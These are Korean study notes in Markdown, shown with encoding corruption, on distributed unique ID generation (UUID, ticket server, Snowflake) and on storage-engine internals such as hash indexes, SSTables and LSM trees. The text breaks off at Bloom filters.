- ์ด๋ ๊ฒ ํ๋ฉด ๊ท๋ชจ ํ์ฅ์ฑ ๋ฌธ์ ๋ฅผ ์ด๋์ ๋ ํด๊ฒฐํ ์ ์๋ค. ๋ฐ์ดํฐ๋ฒ ์ด์ค ์๋ฅผ ๋๋ฆฌ๋ฉด ์ด๋น ์์ฐ ๊ฐ๋ฅ ID์๋ ๋๋ฆด ์ ์๊ธฐ ๋๋ฌธ์ด๋ค.
- ํ์ง๋ง ์๋์ ๊ฐ์ ์น๋ช
์ ์ธ ๋จ์ ์ด ์๋ค.
- ์ฌ๋ฌ ๋ฐ์ดํฐ ์ผํฐ์ ๊ฑธ์ณ ๊ท๋ชจ๋ฅผ ๋๋ฆฌ๊ธฐ ์ด๋ ต๋ค.
- ID์ ์ ์ผ์ฑ์ ๋ณด์ฅ๋์ง๋ง, ๊ทธ ๊ฐ์ด ์๊ฐ์ ํ๋ฆ์ ๋ง์ถฐ ์ปค์ง๋๋ก ๋ณด์ฅํ ์ ์๋ค.
- ์๋ฒ๋ฅผ ์ถ๊ฐํ๊ฑฐ๋ ์ญ์ ํ ๋๋ ์ ๋์ํ๋๋ก ๋ง๋ค๊ธฐ ์ด๋ ต๋ค.
### UUID
- UUID: ์ปดํจํฐ ์์คํ
์ ์ ์ฅ๋๋ ์ ๋ณด๋ฅผ ์ ์ผํ๊ฒ ์๋ณํ๊ธฐ ์ํ 128๋นํธ์ง๋ฆฌ ์๋ค.
- UUID์ ์ถฉ๋ ๊ฐ๋ฅ์ฑ์ ๋งค์ฐ ๋ฎ๋ค.
- UUID๋ `550e8400-e29b-41d4-a716-446655440000`์ ๊ฐ์ ํํ๋ฅผ ๋๊ณ , ์๋ฒ ๊ฐ ์กฐ์จ ์์ด ๋
๋ฆฝ์ ์ผ๋ก ์์ฑํ ์ ์๋ค.
- ์ฅ์
- UUID์ ์์ฑ์ ๋จ์ํ๋ค. (์๋ฒ ์ฌ์ด์ ์กฐ์จ์ด ํ์ ์์ด ๋๊ธฐํ ์ด์๋ ์๋ค)
- ๊ฐ ์๋ฒ๊ฐ ์์์ UUID๋ฅผ ์์ฑํ๋ฏ๋ก ๊ท๋ชจ ํ์ฅ๋ ์ฝ๋ค
- ๋จ์
- ID๊ฐ 128 ๋นํธ๋ก ๊ธธ๋ค. ์ด๋ฒ ์ฅ์ ์๊ตฌ์ฌํญ์ 64๋นํธ๋ค.
- ID๋ฅผ ์๊ฐ ์์ผ๋ก ์ ๋ ฌํ ์ ์๋ค.
- ID์ ์ซ์๊ฐ ์๋ ๊ฐ์ด ํฌํจ๋ ์ ์๋ค.
### ํฐ์ผ์๋ฒ
auto_increment ๊ธฐ๋ฅ์ ๊ฐ์ถ ๋ฐ์ดํฐ๋ฒ ์ด์ค ์๋ฒ aka ํฐ์ผ ์๋ฒ๋ฅผ ์ค์ ์ง์คํ์ผ๋ก ํ๋๋ง ์ฌ์ฉํ๋ค.
- ์ฅ์
- ์ ์ผ์ฑ์ด ๋ณด์ฅ๋๋ ์ค์ง ์ซ์๋ก๋ง ๊ตฌ์ฑ๋ ID๋ฅผ ์ฝ๊ฒ ๋ง๋ค ์ ์๋ค
- ๊ตฌํ์ด ์ฝ๊ณ ์ค์ ๊ท๋ชจ ์ ํ๋ฆฌ์ผ์ด์
์ ์ ํฉํ๋ค
- ๋จ์
- ํฐ์ผ์๋ฒ -> SPOF
- SPOF๋ฅผ ํผํ๋ ค๋ฉด ํฐ์ผ์๋ฒ๋ฅผ ์ฌ๋ฌ๋ ์ฌ์ฉํด์ผ ํ๋๋ฐ, ์ด๋ด ๊ฒฝ์ฐ์ ๋๊ธฐํ ๋ฌธ์ ๊ฐ ๋ฐ์ํ๋ค.
### ํธ์ํฐ ์ค๋
ธํ๋ ์ดํฌ ์ ๊ทผ๋ฒ
- divide and conquer
- ์์ฑํด์ผ ํ๋ ID์ ๊ตฌ์กฐ๋ฅผ ์ฌ๋ฌ ์ (section)๋ก ๋ถํ
- ๊ฐ ์ ์ ๋ค์๊ณผ ๊ฐ์ด ๊ตฌ์ฑ๋๋ค
- sign bit: ๋น์ฅ์ ์ธ๋ชจ๊ฐ ์์ง๋ง ๋์ค์ ์ํด 1๋นํธ๋ฅผ ์ ๋ณด. ์์์ ์์ ๊ตฌ๋ณ์ ์ํด ์ฌ์ฉ ๊ฐ๋ฅ
- timestamp: 41bit ํ ๋น. epoch ์ดํ๋ก ๋ช ms๊ฐ ์ง๋ฌ๋์ง ๋ํ๋ด๋ ๊ฐ
- datacenter id: 5bit ํ ๋น. 2์ 5์น = 32๊ฐ์ datacenter๋ฅผ ๋ํ๋ผ ์ ์์
- server id: 5bitํ ๋น. ๋ฐ๋ผ์ datacenter๋น 32๊ฐ์ ์๋ฒ๋ฅผ ๋ํ๋ผ ์ ์์
- squence number: 12bitํ ๋น. ๊ฐ ์๋ฒ์์๋ ID๋ฅผ ์์ฑํ ๋ ๋ง๋ค ์ด ์ผ๋ จ๋ฒํธ๋ฅผ ์ฆ๊ฐ์ํด. ์ด ๊ฐ์ 1ms๊ฐ ์ง๋ ๋๋ง๋ค 0์ผ๋ก ์ด๊ธฐํ ๋จ
## ์์ธ ์ค๊ณ
ํธ์ํฐ ์ค๋
ธํ๋ ์ดํฌ ์ ๊ทผ๋ฒ์ ์ฌ์ฉํ์ฌ ๋ณด๋ค ์์ธํ ์ค๊ณ๋ฅผ ์งํํด๋ณด์
- datacenter id, server id๋ฅผ ์ ๋ชป ๋ณ๊ฒฝํ๊ฒ ๋๋ฉด id ์ถฉ๋์ด ๋ฐ์ํ ์ ์์ผ๋ฏ๋ก ์ด๋ฐ ์์
์์๋ ์ ์คํด์ผ ํ๋ค.
- ํ์์คํฌํ๋ ์ผ๋ จ ๋ฒํธ๋ ID ์์ฑ๊ธฐ๊ฐ ์คํ๋๋ ์ค ๋ง๋ค์ด์ง๋ ๊ฐ์ด๋ค.
### ํ์์คํฌํ
- ํ์์คํฌํ๋ ์๊ฐ์ด ํ๋ฆ์ ๋ฐ๋ผ ํฐ ๊ฐ์ ๊ฐ์ง๊ฒ ๋๋ฏ๋ก, ๊ฒฐ๊ตญ ID๋ ์๊ฐ ์์ผ๋ก ์ ๋ ฌ ๊ฐ๋ฅํ๊ฒ ๋ ๊ฒ์ด๋ค.
### ์ผ๋ จ๋ฒํธ
- ์ด๋ค ์๋ฒ๊ฐ ๊ฐ์ ๋ฐ๋ฆฌ ์ด ๋์ ํ๋ ์ด์์ ID๋ฅผ ๋ง๋ค์ด ๋ธ ๊ฒฝ์ฐ์๋ง 0๋ณด๋ค ํฐ ๊ฐ์ ๊ฐ๊ฒ ๋๋ค.
## 4๋จ๊ณ ๋ง๋ฌด๋ฆฌ
์ฑํํ ๋ฐฉ์: ์ค๋
ธํ๋ ์ดํฌ -> ๋ชจ๋ ์๊ตฌ์ฌํญ์ ๋ง์กฑํ๋ฉด์๋ ๋ถ์ฐ ํ๊ฒฝ์์ ๊ท๋ชจ ํ์ฅ์ด ๊ฐ๋ฅํ๋ค.
์๊ฐ์ด ๋จ๋๋ค๋ฉด ์๋ ๋ด์ฉ์ ์ถ๊ฐ๋ก ๋
ผ์ํ ์ ์๋ค.
- ์๊ณ ๋๊ธฐํ
- ID ์์ฑ ์๋ฒ๋ค์ด ์ ๋ถ ๊ฐ์ ์๊ณ๋ฅผ ์ฌ์ฉํ๋ค๊ณ ๊ฐ์ ํ๋ค. ํ์ง๋ง ์ด๋ฐ ๊ฐ์ ์ ํ๋์ ์๋ฒ๊ฐ ์ฌ๋ฌ ์ฝ์ด์์ ์คํ๋ ๊ฒฝ์ฐ ์ ํจํ์ง ์์ ์ ์๋ค.
- ๊ฐ ์ ์ ๊ธธ์ด ์ต์ ํ
- ๋์์ฑ์ด ๋ฎ๊ณ ์๋ช
์ด ๊ธด ์ ํ๋ฆฌ์ผ์ด์
์ด๋ผ๋ฉด ์ผ๋ จ๋ฒํธ ์ ์ ๊ธธ์ด๋ฅผ ์ค์ด๊ณ ํ์์คํฌํ ์ ์ ๊ธธ์ด๋ฅผ ๋๋ฆฌ๋ ๊ฒ์ด ํจ์จ์ ์ผ ์ ์๋ค.
- ๊ณ ๊ฐ์ฉ์ฑ
- ID ์์ฑ๊ธฐ๋ ํ์ ๋ถ๊ฐ๊ฒฐ ์ปดํฌ๋ํธ์ด๋ฏ๋ก ์์ฃผ ๋์ ๊ฐ์ฉ์ฑ์ ์ ๊ณตํด์ผ ํ ๊ฒ์ด๋ค.
```
03.md
```# 03์ฅ ์ ์ฅ์์ ๊ฒ์
ํน์ workload ์ ํ์์ ์ข์ ์ฑ๋ฅ์ ๋ด๊ฒ๋ ์ ์ฅ์ ์์ง์ ์กฐ์ ํ๋ ค๋ฉด ์ ์ฅ์ ์์ง์ด ๋ด๋ถ์์ ์ํ๋๋ ์์
์ ๋ํด ๋๋ต์ ์ธ ๊ฐ๋
์ ์์์ผ ํ ํ์๊ฐ ์๋ค.
## ๋ฐ์ดํฐ๋ฒ ์ด์ค๋ฅผ ๊ฐ๋ ฅํ๊ฒ ๋ง๋๋ ๋ฐ์ดํฐ ๊ตฌ์กฐ
- append only ๋ฐ์ดํฐ ํ์ผ log
- ์ฌ๊ธฐ์์ ๋ก๊ทธ๋ ์ผ๋ฐ์ ์ธ ์๋ฏธ๋ก ์ฐ์๋ ์ถ๊ฐ ์ ์ฉ ๋ ์ฝ๋์ด๋ค. ๋ก๊ทธ๋ ์ฌ๋์ด ์ฝ์ ์ ์๋ ๋ฐ์ด๋๋ฆฌ ํ์์ผ ์๋ ์๋ค.
- ๋ฐ์ดํฐ๋ฒ ์ด์ค์์ ํน์ ํค์ ๊ฐ์ ํจ์จ์ ์ผ๋ก ์ฐพ๊ธฐ ์ํด์๋ ์์ธ์ด ํ์ํ๋ค.
- ์์ธ์ ๋ถ๊ฐ์ ์ธ ๋ฉํ๋ฐ์ดํฐ๋ฅผ ์ ์งํ์ฌ ์ํ๋ ๋ฐ์ดํฐ์ ์์น๋ฅผ ์ฐพ๋๋ฐ ๋์์ ์ฃผ๋ ์ด์ ํ ์ญํ ์ ํ๋ค.
- ๋์ผํ ๋ฐ์ดํฐ๋ฅผ ์ฌ๋ฌ ๋ฐฉ๋ฒ์ผ๋ก ์ฐพ๊ณ ์ถ๋ค๋ฉด ๋ค์ํ ์์ธ์ด ํ์ํ๋ค.
- ์์ธ์ ๊ธฐ๋ณธ ๋ฐ์ดํฐ์์ ํ์๋ ์ถ๊ฐ์ ์ธ ๊ตฌ์กฐ์ด๋ค. ์์ธ์ ์ถ๊ฐ์ ์ญ์ ๋ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๋ด์ฉ์๋ ์ํฅ์ ๋ผ์น์ง๋ ์์ง๋ง ์ฑ๋ฅ์๋ ์ํฅ์ ๋ผ์น๋ค.
- ์์ธ์ ์ฐ๋ ๊ณผ์ ์์ ์ค๋ฒํค๋๊ฐ ๋ฐ์ํ๊ณ , ๋ฐ์ดํฐ๋ฅผ ์ธ ๋ ๋ง๋ค ์์ธ์ ๊ฐฑ์ ํด์ผ ํ๊ธฐ ๋๋ฌธ์ด๋ค.
- ์์ธ์ ์ ์ฅ์ ์์คํ
์ ์ค์ํ ํธ๋ ์ด๋ ์คํ์ด๋ค. ๋ฐ๋ผ์ ๊ฐ๋ฐ์์ ๋ฐ์ดํฐ๋ฒ ์ด์ค ๊ด๋ฆฌ์๋ ์ ํ์ ์ธ ์ง์ ํจํด์ ๋ํ ์ง์์ ํ์ฉํด ์๋ใ
์ผ๋ก ์์ธ์ ์ ํํด์ผ ํ๋ค.
### ํด์์์ธ
- K-V ๋ฐ์ดํฐ๋ ๋งค์ฐ ์ผ๋ฐ์ ์ด๊ณ ๋์ฑ ๋ณต์กํ ์์ธ์ ์ํ ๊ตฌ์ฑ์์๋ก ์ ์ฉํ๋ค.
- K-V ์ ์ฅ์๋ ๋๋ถ๋ถ์ ํ๋ก๊ทธ๋๋ฐ ์ธ์ด์ ์กด์ฌํ๋ dictionary type๊ณผ ์ ์ฌํ๋ค. ๋์คํฌ์์ ๋ฐ์ดํฐ๋ฅผ ์์ธํ๊ธฐ ์ํด ์ธ๋ฉ๋ชจ๋ฆฌ ๋ฐ์ดํฐ ๊ตฌ์กฐ์ธ ํด์๋งต์ ์ฌ์ฉํด๋ณด๋ฉด ์ด๋จ๊น?
- ํค๋ฅผ ๋ฐ์ดํฐ ํ์ผ์ ์คํ์
์ ๋งคํํด ์ธ๋ฉ๋ชจ๋ฆฌ ํด์๋งต์ ์ ์งํ๋ ์ ๋ต์ ๊ฐ์ง ์ ์๋ค.
- ํ์ผ์ ์๋ก์ด K-V ์์ ์ถ๊ฐํ ๋ ๋ง๋ค ๋ฐฉ๊ธ ๊ธฐ๋กํ ๋ฐ์ดํฐ์ ์คํ์
์ ๋ฐ์ํ๊ธฐ ์ํด ํด์๋งต๋ ๊ฐฑ์ ํด์ผ ํ๋ค.
- ๊ฐ์ ์กฐํํ๋ ค๋ฉด ํด์ ๋งต์ ์ฌ์ฉํด ๋ฐ์ดํฐํ์ผ์์ ์คํ์
์ ์ฐพ์ ํด๋น ์์น๋ฅผ ๊ตฌํ๊ณ ๊ฐ์ ์ฝ๋๋ค.
- ์ด ๋ฐฉ๋ฒ์ ๋จ์ํด๋ณด์ด์ง๋ง ์ค์ ๋ก ๋ง์ด ์ฌ์ฉ๋๋ค. Bitcask(Riak์ ๊ธฐ๋ณธ ์ ์ฅ์ ์์ง)์ด ๊ทผ๋ณธ์ ์ผ๋ก ์ฌ์ฉํ๋ ๋ฐฉ์์ด๋ค.
- Bitcask๋ ํด์ ๋งต์ ์ ๋ฌด ๋ฉ๋ชจ๋ฆฌ์ ์ ์งํ์ฌ RAM์ ๋ชจ๋ ํค๊ฐ ์ ์ฅ๋๋ค๋ ๊ฒ์ ์ ์ ์กฐ๊ฑด์ผ๋ก ๊ณ ์ฑ๋ฅ์ ์ฝ๊ธฐ/์ฐ๊ธฐ๋ฅผ ๋ณด์ฅํ๋ค.
- ์ด๋ฌํ ์ ์ฅ์ ์์ง์ ๊ฐ ํค์ ๊ฐ์ด ์์ฃผ ๊ฐฑ์ ๋๋ ์ํฉ์ ๋งค์ฐ ์ ํฉํ๋ค. ์ฐ๊ธฐ๊ฐ ์์ฃผ ๋ง์ง๋ง ๊ณ ์ ํค๊ฐ ๋ง์ง ์์ ๊ฒฝ์ฐ์ ์ ์ฉํ๋ค. ์ฆ, ํค๋น ์ฐ๊ธฐ ์๊ฐ ๋ง์ง๋ง ๋ฉ๋ชจ๋ฆฌ์ ๋ชจ๋ ํค๋ฅผ ๋ณด๊ดํ ์ ์๋ค.
- ์ง๊ธ ์ค๋ช
ํ๋๋ก ํญ์ ๋์คํฌ์ ํ์ผ์ ์ถ๊ฐํ๋ค๋ณด๋ฉด ๊ฒฐ๊ตญ ๋์คํฌ ๊ณต๊ฐ์ด ๋ถ์กฑํด์ง๋ค. ์ด ์ํฉ์ ํน์ ํฌ๊ธฐ์ segment๋ก ๋ก๊ทธ๋ฅผ ๋๋์ด ํด๊ฒฐํ ์ ์๋ค. ํน์ ํฌ๊ธฐ์ ๋๋ฌํ์ ๋ ์ธ๊ทธ๋จผํธ ํ์ผ์ ๋ซ๊ณ ์๋ก์ด ์ธ๊ทธ๋จผํธ์ ์ดํ ์ฐ๊ธฐ๋ฅผ ์ํํ๋ค. ์ธ๊ทธ๋จผํธ์ ๋ํด ์ปดํฉ์
์ ์ํํ ์ ์๋ค. ์ปดํฉ์
์ ๋ก๊ทธ์์ ์ค๋ณต๋ ํค๋ฅผ ๋ฒ๋ฆฌ๊ณ ๊ฐ ํค์ ์ต์ ๊ฐฑ์ ๊ฐ๋ง ์ ์งํ๋ ๊ฒ์ ์๋ฏธํ๋ค.
- ์ปดํฉ์
์ ๋ณดํต ์ธ๊ทธ๋จผํธ๋ฅผ ๋ ์๊ฒ ๋ง๋ค์ด ๋์์ ์ฌ๋ฌ ์ธ๊ทธ๋จผํธ๋ฅผ ํฉ์น ์ ์๋ค. ์ธ๊ทธ๋จผํธ๋ ์ฐ์ฌ์ง ์ดํ์ ์ ๋๋ก ๋ณ๊ฒฝํ ์ ์๊ธฐ ๋๋ฌธ์ ๋ณํฉํ ์ธ๊ทธ๋จผํธ๋ ์๋ก์ด ํ์ผ๋ก ๋ง๋ ๋ค. ๊ณ ์ ๋ ์ธ๊ทธ๋จผํธ์ ๋ณํฉ๊ณผ ์ปดํฉ์
์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์ํ๋ ์ ์๊ณ , ์ปดํฉ์
์ด ์ํ๋๋ ๋์ ์ด์ ์ธ๊ทธ๋จผํธ ํ์ผ์ ์ฌ์ฉํ์ฌ ์ฝ๊ธฐ์ ์ฐ๊ธฐ ์์ฒญ์ ์ ์์ ์ผ๋ก ์ฒ๋ฆฌํ ์ ์๋ค. ๋ณํฉ์ด ๋๋ ์ดํ ์ฝ๊ธฐ ์์ฒญ์ ์ด์ ์ธ๊ทธ๋จผํธ ๋์ ์๋ก ๋ณํฉ๋ ์ธ๊ทธ๋จผํธ ํ์ผ์ ์ฌ์ฉํ๋๋ก ์ ํํ๋ค. ์ ํ ํ์๋ ์ด์ ์ธ๊ทธ๋จผํธ ํ์ผ์ ๊ฐ๋จํ ์ญ์ ํ๋ค.
- ์ด์ ๊ฐ ์ธ๊ทธ๋จผํธ๋ ํค๋ฅผ ํ์ผ ์คํ์
์ ๋งคํํ ์์ฒด ์ธ๋ฉ๋ชจ๋ฆฌ ํด์ ํ
์ด๋ธ์ ๊ฐ๋๋ค. ํค์ ๊ฐ์ ์ฐพ์ผ๋ ค๋ฉด ์ต์ ์ธ๊ทธ๋จผํธ ํด์ ๋งต์ ๋จผ์ ํ์ธํ๊ณ , ํค๊ฐ ์์ ๊ฒฝ์ฐ ๋ ๋ฒ์งธ, ์ธ๋ฒ์งธ ์ต์ ์ธ๊ทธ๋จผํธ๋ฅผ ํ์ธํ๋ค. ๋ณํฉ ๊ณผ์ ์ ํตํด ์ธ๊ทธ๋จผํธ ์๋ฅผ ์ ๊ฒ ์ ์งํ์ฌ ์กฐํํ ๋ ๋ง์ ํด์ ๋งต์ ํ์ธํ ํ์๊ฐ ์๋ค.
- ํ์ง๋ง ์ด๋ฐ ๊ฐ๋จํ ์๊ฐ์ ๊ตฌํํ๊ธฐ ์ํด์๋ ์ค์ ๋ก ๋ง์ ์ฌํญ์ ๊ณ ๋ คํด์ผ ํ๋ค. ์๋ฅผ ๋ค๋ฉด ๋ค์๊ณผ ๊ฐ๋ค.
- ํ์ผ ํ์
- ๋ ์ฝ๋ ์ญ์
- Crash ๋ณต๊ตฌ
- DB ์ฌ์์์ ์ธ๋ฉ๋ชจ๋ฆฌ ํด์๋งต์ ์์ค๋๋ค. ๋ณต๊ตฌํ๋ ค๋ฉด ์ ์ฒด ์ธ๊ทธ๋จผํธ ํ์ผ์ ์ฝ์ด ๊ฐ ํค์ ๋ํ ์ต์ ๊ฐ์ผ๋ก ํด์๋งต์ ๋ณต์ํ ์ ์์ง๋ง, ์ธ๊ทธ๋จผํธ ํ์ผ์ด ํฐ ๊ฒฝ์ฐ ๋ณต์์ด ์ค๋ ๊ฑธ๋ฆด ์ ์๋ค.
- ๋ถ๋ถ์ ์ผ๋ก ๋ ์ฝ๋ ์ฐ๊ธฐ
- ๋์์ฑ ์ ์ด
- ์ฐ๊ธฐ๋ฅผ ์๊ฒฉํ๊ฒ ์์ฐจ์ ์ผ๋ก ๋ก๊ทธ์ ์ถ๊ฐํ ๋ ์ผ๋ฐ์ ์ธ ๊ตฌํ ๋ฐฉ๋ฒ์ ํ๋์ ์ฐ๊ธฐ ์ฐ๋ ๋๋ง ์ฌ์ฉํ๋ ๊ฒ์ด๋ค. ๋ฐ์ดํฐ ํ์ผ ์ธ๊ทธ๋จผํธ๋ ์ถ๊ฐ ์ ์ฉ์ด๊ฑฐ๋ ๋ถ๋ณ์ด๋ฏ๋ก ๋ค์ค ์ค๋ ๋๋ก ๋์์ ์ฝ๊ธฐ๋ฅผ ํ ์ ์๋ค.
- ํด์ ํ
์ด๋ธ ์์ธ์ ์ ํ ์ฌํญ
- ํด์ ํ
์ด๋ธ์ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅํด์ผ ํ๊ธฐ ๋๋ฌธ์ ํค๊ฐ ๋๋ฌด ๋ง์ ๊ฒฝ์ฐ ๋ฌธ์ ๊ฐ ๋๋ค.
- range query์ ํจ์จ์ ์ด์ง ์๋ค. ์๋ฅผ ๋ค์ด `kitty0000`๊ณผ `kitty9999` ์ฌ์ด ๋ชจ๋ ํค๋ฅผ ์ฝ๊ฒ ์ค์บ ํ ์ ์๋ค. ํด์ ๋งต์์ ๋ชจ๋ ๊ฐ๋ณ ํค๋ฅผ ์กฐํํด์ผ ํ๋ค.
- ๋ค์์์ ์ด๋ฌํ ์ ํ์ด ์๋ ์์ธ ๊ตฌ์กฐ๋ฅผ ์ดํด๋ณด์
### SSํ
์ด๋ธ๊ณผ LSM ํธ๋ฆฌ
- Sorted String Table (SST, SSํ
์ด๋ธ)
- ์ธ๊ทธ๋จผํธ ํ์ผ์ด ํค๋ก ์ ๋ ฌ๋ ํ์
- ๊ฐ ํค๋ ๋ณํฉ๋ ์ธ๊ทธ๋จผํธ ํ์ผ์ ๋ฐ๋์ ํ ๋ฒ๋ง ๋ํ๋์ผ ํ๋ค. (์ปดํฉ์
๊ณผ์ ์ ์ด๋ฅผ ์ด๋ฏธ ๋ณด์ฅํ๋ค.)
- SST๋ ํด์ ์์ธ์ ๊ฐ์ง ๋ก๊ทธ ์ธ๊ทธ๋จผํธ๋ณด๋ค ๋ช ๊ฐ์ง ํฐ ์ฅ์ ์ด ์๋ค.
- ํ์ผ์ด ์ฌ์ฉ ๊ฐ๋ฅํ ๋ฉ๋ชจ๋ฆฌ๋ณด๋ค ํฌ๋๋ผ๋ ๊ฐ๋จํ๊ณ ํจ์จ์ ์ด๋ค. ์ด ๋ฐฉ๋ฒ์ mergesort์ ์ ์ฌํ๋ค.
- ํ์ผ์์ ํน์ ํค๋ฅผ ์ฐพ๊ธฐ ์ํด ๋๋ ๋ฉ๋ชจ๋ฆฌ์ ๋ชจ๋ ํค์ ์์ธ์ ์ ์งํ ํ์๊ฐ ์๋ค. ์ผ๋ถ ํค์ ๋ํ ์คํ์
์ ์๋ ค์ฃผ๋ ์ธ๋ฉ๋ชจ๋ฆฌ ์์ธ์ด ์ฌ์ ํ ํ์ํ์ง๋ง ์์ธ ๋ด์ฉ์ด ๋๋ฌธ๋๋ฌธ ํฌ์ํ ์ ์๋ค.
- ์ฝ๊ธฐ ์์ฒญ์ ์์ฒญ ๋ฒ์ ๋ด์์ ์ฌ๋ฌ ํค-๊ฐ ์์ ์ค์บํด์ผ ํ๊ธฐ ๋๋ฌธ์ ํด๋น ๋ ์ฝ๋๋ค์ ๋ธ๋ก์ผ๋ก ๊ทธ๋ฃนํํ๊ณ ๋์คํฌ์ ์ฐ๊ธฐ ์ ์ ์์ถํ๋ค. ๊ทธ๋ฌ๋ฉด ํฌ์ ์ธ๋ฉ๋ชจ๋ฆฌ ์์ธ์ ๊ฐ ํญ๋ชฉ์ ์์ถ๋ ๋ธ๋ก์ ์์์ ๊ฐ๋ฆฌํค๊ฒ ๋๋ค. ๋์คํฌ ๊ณต๊ฐ์ ์ ์ฝํ๋ค๋ ์ ์ธ์๋ ์์ถ์ I/O ๋์ญํญ ์ฌ์ฉ๋ ์ค์ธ๋ค.
#### SSํ
์ด๋ธ ์์ฑ๊ณผ ์ ์ง
- Red Black Tree๋ AVL ํธ๋ฆฌ์ ๊ฐ์ ์ ์๋ ค์ง ๊ตฌ์กฐ๋ฅผ ์ด์ฉํ์ฌ ์ ๋ ฌ๋ ๋ฉ๋ชจ๋ฆฌ๋ฅผ ์ ์ง ํ ์ ์๋ค. ์ด๋ฐ ๋ฐ์ดํฐ ๊ตฌ์กฐ๋ฅผ ์ด์ฉํ์ฌ ์์ ์์๋ก ํค๋ฅผ ์ฝ์
ํ๊ณ ์ ๋ ฌ๋ ์์๋ก ํค๋ฅผ ๋ค์ ์ฝ์ ์ ์๋ค.
- ์ด์ ์ ์ฅ์ ์์ง์ ๋ค์๊ณผ ๊ฐ์ด ๋ง๋ค ์ ์๋ค.
- ์ฐ๊ธฐ ๋ฐ์์ ์ธ๋ฉ๋ชจ๋ฆฌ balanced tree ๋ฐ์ดํฐ ๊ตฌ์กฐ์ ์ถ๊ฐํ๋ค. ์ด ์ธ๋ฉ๋ชจ๋ฆฌ balanced tree๋ฅผ memtable์ด๋ผ๊ณ ๋ ํ๋ค.
- memtable์ด ๋ณดํต ์ ๋ฉ๊ฐ๋ฐ์ดํธ ์ ๋์ ์๊ณ๊ฐ๋ณด๋ค ์ปค์ง๋ฉด SS ํ
์ด๋ธ ํ์ผ๋ก ๋์คํฌ์ ๊ธฐ๋กํ๋ค. ์๋ก์ด SSํ
์ด๋ธ ํ์ผ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค์ ๊ฐ์ฅ ์ต์ ์ธ๊ทธ๋จผํธ๊ฐ ๋๋ค. SSํ
์ด๋ธ์ ๋์คํฌ์ ๊ธฐ๋กํ๋ ๋์ ์ฐ๊ธฐ๋ ์๋ก์ด ๋ฉคํ
์ด๋ธ ์ธ์คํด์ค์ ๊ธฐ๋กํ๋ค.
- ์ฝ๊ธฐ ์์ฒญ์ ์ ๊ณตํ ๋ ๋จผ์ ๋ฉคํ
์ด๋ธ์์ ํค๋ฅผ ์ฐพ๊ณ ๊ทธ ๋ค์ ๋์คํฌ ์์ ๊ฐ์ฅ ์ต์ ์ธ๊ทธ๋จผํธ์์ ์ฐพ๋๋ค. ๊ทธ ๋ค์์ผ๋ก ๋๋ฒ์งธ, ์ธ๋ฒ์งธ ์ธ๊ทธ๋จผํธ ๋ฑ์์ ์ฐพ๋๋ค.
- ๊ฐ๋ ์ธ๊ทธ๋จผํธ ํ์ผ์ ํฉ์น๊ณ ๋ฎ์ด ์ฐ์ฌ์ง๊ฑฐ๋ ์ญ์ ๋ ๊ฐ์ ๋ฒ๋ฆฌ๋ ๋ณํฉ๊ณผ ์ปดํฉ์
๊ณผ์ ์ ์ํํ๋ค. ์ด ๊ณผ์ ์ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ์ํ๋๋ค.
- ์ ๊ณํ์ ๋ฐ์ดํฐ๋ฒ ์ด์ค๊ฐ ๊ณ ์ฅ๋ฌ์ ๋ ๋ฉคํ
์ด๋ธ์ ์กด์ฌํ์ง๋ง ๋์คํฌ์ ๊ธฐ๋ก๋์ง ์์ ์ฐ๊ธฐ๊ฐ ์์ค๋๋ค๋ ๋ฌธ์ ๊ฐ ์๋ค. ์ด๋ฐ ๋ฌธ์ ๋ฅผ ํผํ๊ธฐ ์ํด ๋งค๋ฒ ์ฐ๊ธฐ๋ฅผ ์ฆ์ ์ถ๊ฐํ ์ ์๋ ๋ถ๋ฆฌ๋ ๋ก๊ทธ๋ฅผ ๋์คํฌ ์์ ์ ์งํด์ผ ํ๋ค. ์ด ๋ก๊ทธ๋ ์์ ํ ๋ฉคํ
์ด๋ธ์ ๋ณต์ํ ๋๋ง ํ์ํ๊ธฐ ๋๋ฌธ์ ์ ๋ ฌ๋์ง ์์๋ ๊ด์ฐฎ๋ค. ๋ฉคํ
์ด๋ธ์ SSํ
์ด๋ธ๋ก ๊ธฐ๋กํ๊ณ ๋๋ฉด ํด๋น ๋ก๊ทธ๋ ๋ฒ๋ฆด ์ ์๋ค.
#### SSํ
์ด๋ธ์์ LSM ํธ๋ฆฌ ๋ง๋ค๊ธฐ
- ์ด ์์ธ ๊ตฌ์กฐ๋ ๋ก๊ทธ ๊ตฌ์กฐํ ๋ณํฉ ํธ๋ฆฌ(Log-Structured Merge-Tree)(AKA LSM Tree) ๋ ์ด๋ฆ์ผ๋ก ๋ฐํ๋๋ค. ์ด ์์ธ ๊ตฌ์กฐ๋ ๋ก๊ทธ ๊ตฌ์กฐํ ํ์ผ ์์คํ
์ ์ด๊ธฐ ์์
๊ธฐ๋ฐ์ด ๋๋ค.
- ์ ๋ ฌ๋ ํ์ผ ๋ณํฉ๊ณผ ์ปดํฉ์
์๋ฆฌ๋ฅผ ๊ธฐ๋ฐ์ผ๋ก ํ๋ ์ ์ฅ์ ์์ง์ LSM ์ ์ฅ์ ์์ง์ด๋ผ ๋ถ๋ฅธ๋ค.
- ์๋ผ์คํฑ์์น๋ ์๋ผ์์ ์ฌ์ฉํ๋ ์ ๋ฌธ ๊ฒ์ ์์ธ ์์ง ๋ฃจ์ฌ์ ์ฉ์ด ์ฌ์ ์ ์ ์ฅํ๊ธฐ ์ํด ์ด์ ์ ์ฌํ ๋ฐฉ๋ฒ์ ์ฌ์ฉํ๋ค.
- ํค๋ฅผ ๋จ์ด(์ฉ์ด)๋ก, ๊ฐ์ ๋จ์ด๋ฅผ ํฌํจํ ๋ชจ๋ ๋ฌธ์์ ID ๋ชฉ๋ก์ผ๋ก ํ๋ ํค-๊ฐ ๊ตฌ์กฐ๋ก ํํํ๋ค. ๋ฃจ์ฌ์์ ์ฉ์ด์ ํฌ์คํ
์ ๋ชฉ๋ก์ SSํ
์ด๋ธ ๊ฐ์ ์ ๋ ฌ ํ์ผ์ ์ ์งํ๊ณ ํ์์ ๋ฐ๋ผ ๋ฐฑ๊ทธ๋ผ์ด๋์์ ๋ณํฉํ๋ค.
#### ์ฑ๋ฅ ์ต์ ํ
- Bloom filter
- ์กด์ฌํ์ง ์๋ ํค๋ฅผ ์ฐพ๋ ๊ฒฝ์ฐ ๋ฉคํ
